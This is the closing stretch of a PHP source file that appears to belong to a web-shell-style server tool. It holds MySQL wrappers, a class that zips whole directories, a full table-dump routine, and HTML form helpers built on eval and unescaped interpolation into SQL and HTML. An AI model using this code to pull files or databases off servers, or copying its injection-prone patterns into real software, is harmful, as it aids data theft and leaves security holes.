1555 if(!$res = @mysql_query($sql)) {
1556 return 0;
1557 } else if(is_resource($res)) {
1558 return 1;
1559 } else {
1560 return 2;
1561 }
1562 return 0;
1563}
1564
1565function q($sql) {
1566 return @mysql_query($sql);
1567}
1568
1569function fr($qy){
1570 mysql_free_result($qy);
1571}
1572
1573function sizecount($size) {
1574 if($size > 1073741824) {
1575 $size = round($size / 1073741824 * 100) / 100 . ' G';
1576 } elseif($size > 1048576) {
1577 $size = round($size / 1048576 * 100) / 100 . ' M';
1578 } elseif($size > 1024) {
1579 $size = round($size / 1024 * 100) / 100 . ' K';
1580 } else {
1581 $size = $size . ' B';
1582 }
1583 return $size;
1584}
1585
1586class PHPZip{
1587 var $out='';
1588 function PHPZip($dir) {
1589 if (@function_exists('gzcompress')) {
1590 $curdir = getcwd();
1591 if (is_array($dir)) $filelist = $dir;
1592 else{
1593 $filelist=$this -> GetFileList($dir);//ОДјюБР±н
1594 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1595 }
1596 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1597 else chdir($curdir);
1598 if (count($filelist)>0){
1599 foreach($filelist as $filename){
1600 if (is_file($filename)){
1601 $fd = fopen ($filename, 'r');
1602 $content = @fread ($fd, filesize($filename));
1603 fclose ($fd);
1604 if (is_array($dir)) $filename = basename($filename);
1605 $this -> addFile($content, $filename);
1606 }
1607 }
1608 $this->out = $this -> file();
1609 chdir($curdir);
1610 }
1611 return 1;
1612 }
1613 else return 0;
1614 }
1615
1616 function GetFileList($dir){
1617 static $a;
1618 if (is_dir($dir)) {
1619 if ($dh = opendir($dir)) {
1620 while ($file = readdir($dh)) {
1621 if($file!='.' && $file!='..'){
1622 $f=$dir .'/'. $file;
1623 if(is_dir($f)) $this->GetFileList($f);
1624 $a[]=$f;
1625 }
1626 }
1627 closedir($dh);
1628 }
1629 }
1630 return $a;
1631 }
1632
1633 var $datasec = array();
1634 var $ctrl_dir = array();
1635 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1636 var $old_offset = 0;
1637
1638 function unix2DosTime($unixtime = 0) {
1639 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1640 if ($timearray['year'] < 1980) {
1641 $timearray['year'] = 1980;
1642 $timearray['mon'] = 1;
1643 $timearray['mday'] = 1;
1644 $timearray['hours'] = 0;
1645 $timearray['minutes'] = 0;
1646 $timearray['seconds'] = 0;
1647 } // end if
1648 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
1649 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1650 }
1651
1652 function addFile($data, $name, $time = 0) {
1653 $name = str_replace('\\', '/', $name);
1654
1655 $dtime = dechex($this->unix2DosTime($time));
1656 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1657 . '\x' . $dtime[4] . $dtime[5]
1658 . '\x' . $dtime[2] . $dtime[3]
1659 . '\x' . $dtime[0] . $dtime[1];
1660 eval('$hexdtime = "' . $hexdtime . '";');
1661 $fr = "\x50\x4b\x03\x04";
1662 $fr .= "\x14\x00";
1663 $fr .= "\x00\x00";
1664 $fr .= "\x08\x00";
1665 $fr .= $hexdtime;
1666
1667 $unc_len = strlen($data);
1668 $crc = crc32($data);
1669 $zdata = gzcompress($data);
1670 $c_len = strlen($zdata);
1671 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1672 $fr .= pack('V', $crc);
1673 $fr .= pack('V', $c_len);
1674 $fr .= pack('V', $unc_len);
1675 $fr .= pack('v', strlen($name));
1676 $fr .= pack('v', 0);
1677 $fr .= $name;
1678 $fr .= $zdata;
1679 $fr .= pack('V', $crc);
1680 $fr .= pack('V', $c_len);
1681 $fr .= pack('V', $unc_len);
1682
1683 $this -> datasec[] = $fr;
1684 $new_offset = strlen(implode('', $this->datasec));
1685
1686 $cdrec = "\x50\x4b\x01\x02";
1687 $cdrec .= "\x00\x00";
1688 $cdrec .= "\x14\x00";
1689 $cdrec .= "\x00\x00";
1690 $cdrec .= "\x08\x00";
1691 $cdrec .= $hexdtime;
1692 $cdrec .= pack('V', $crc);
1693 $cdrec .= pack('V', $c_len);
1694 $cdrec .= pack('V', $unc_len);
1695 $cdrec .= pack('v', strlen($name) );
1696 $cdrec .= pack('v', 0 );
1697 $cdrec .= pack('v', 0 );
1698 $cdrec .= pack('v', 0 );
1699 $cdrec .= pack('v', 0 );
1700 $cdrec .= pack('V', 32 );
1701 $cdrec .= pack('V', $this -> old_offset );
1702 $this -> old_offset = $new_offset;
1703 $cdrec .= $name;
1704
1705 $this -> ctrl_dir[] = $cdrec;
1706 }
1707
1708 function file() {
1709 $data = implode('', $this -> datasec);
1710 $ctrldir = implode('', $this -> ctrl_dir);
1711 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1712 }
1713}
1714
1715function sqldumptable($table, $fp=0) {
1716 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1717 $tabledump .= "CREATE TABLE $table (\n";
1718
1719 $firstfield=1;
1720
1721 $fields = q("SHOW FIELDS FROM $table");
1722 while ($field = mysql_fetch_array($fields)) {
1723 if (!$firstfield) {
1724 $tabledump .= ",\n";
1725 } else {
1726 $firstfield=0;
1727 }
1728 $tabledump .= " $field[Field] $field[Type]";
1729 if (!empty($field["Default"])) {
1730 $tabledump .= " DEFAULT '$field[Default]'";
1731 }
1732 if ($field['Null'] != "YES") {
1733 $tabledump .= " NOT NULL";
1734 }
1735 if ($field['Extra'] != "") {
1736 $tabledump .= " $field[Extra]";
1737 }
1738 }
1739 fr($fields);
1740
1741 $keys = q("SHOW KEYS FROM $table");
1742 while ($key = mysql_fetch_array($keys)) {
1743 $kname=$key['Key_name'];
1744 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1745 $kname="UNIQUE|$kname";
1746 }
1747 if(!is_array($index[$kname])) {
1748 $index[$kname] = array();
1749 }
1750 $index[$kname][] = $key['Column_name'];
1751 }
1752 fr($keys);
1753
1754 while(list($kname, $columns) = @each($index)) {
1755 $tabledump .= ",\n";
1756 $colnames=implode($columns,",");
1757
1758 if ($kname == "PRIMARY") {
1759 $tabledump .= " PRIMARY KEY ($colnames)";
1760 } else {
1761 if (substr($kname,0,6) == "UNIQUE") {
1762 $kname=substr($kname,7);
1763 }
1764 $tabledump .= " KEY $kname ($colnames)";
1765 }
1766 }
1767
1768 $tabledump .= "\n);\n\n";
1769 if ($fp) {
1770 fwrite($fp,$tabledump);
1771 } else {
1772 echo $tabledump;
1773 }
1774
1775 $rows = q("SELECT * FROM $table");
1776 $numfields = mysql_num_fields($rows);
1777 while ($row = mysql_fetch_array($rows)) {
1778 $tabledump = "INSERT INTO $table VALUES(";
1779
1780 $fieldcounter=-1;
1781 $firstfield=1;
1782 while (++$fieldcounter<$numfields) {
1783 if (!$firstfield) {
1784 $tabledump.=", ";
1785 } else {
1786 $firstfield=0;
1787 }
1788
1789 if (!isset($row[$fieldcounter])) {
1790 $tabledump .= "NULL";
1791 } else {
1792 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1793 }
1794 }
1795
1796 $tabledump .= ");\n";
1797
1798 if ($fp) {
1799 fwrite($fp,$tabledump);
1800 } else {
1801 echo $tabledump;
1802 }
1803 }
1804 fr($rows);
1805 if ($fp) {
1806 fwrite($fp,"\n");
1807 } else {
1808 echo "\n";
1809 }
1810}
1811
1812function ue($str){
1813 return urlencode($str);
1814}
1815
1816function p($str){
1817 echo $str."\n";
1818}
1819
1820function tbhead() {
1821 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1822}
1823
1824function tbfoot(){
1825 p('</table>');
1826}
1827
1828function makehide($name,$value=''){
1829 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1830}
1831
1832function makeinput($arg = array()){
1833 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1834 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1835 !$arg['type'] && $arg['type'] = 'text';
1836 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1837 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1838 if ($arg['newline']) {
1839 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1840 } else {
1841 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1842 }
1843}
1844
1845function makeselect($arg = array()){
1846 if ($arg['onchange']) {
1847 $onchange = 'onchange="'.$arg['onchange'].'"';
1848 }
1849 $arg['title'] = $arg['title'] ? $arg['title'] : '';
1850 if ($arg['newline']) p('<p>');
1851 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1852 if (is_array($arg['option'])) {
1853 foreach ($arg['option'] as $key=>$value) {
1854 if ($arg['selected']==$key) {
1855 p("<option value=\"$key\" selected>$value</option>");
1856 } else {
1857 p("<option value=\"$key\">$value</option>");
1858 }
1859 }
1860 }
1861 p("</select>");
1862 if ($arg['newline']) p('</p>');
1863}
1864function formhead($arg = array()) {
1865 !$arg['method'] && $arg['method'] = 'post';
1866 !$arg['action'] && $arg['action'] = $self;
1867 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1868 !$arg['name'] && $arg['name'] = 'form1';
1869 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1870 if ($arg['title']) {
1871 p('<h2>'.$arg['title'].' »</h2>');
1872 }
1873}
1874
1875function maketext($arg = array()){
1876 !$arg['cols'] && $arg['cols'] = 100;
1877 !$arg['rows'] && $arg['rows'] = 25;
1878 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1879 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1880}
1881
1882function formfooter($name = ''){
1883 !$name && $name = 'submit';
1884 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1885 p('</form>');
1886}
1887
1888function formfoot(){
1889 p('</form>');
1890}
1891
1892function pr($a) {
1893 echo '<pre>';
1894 print_r($a);
1895 echo '</pre>';
1896}
1897
1898 ?>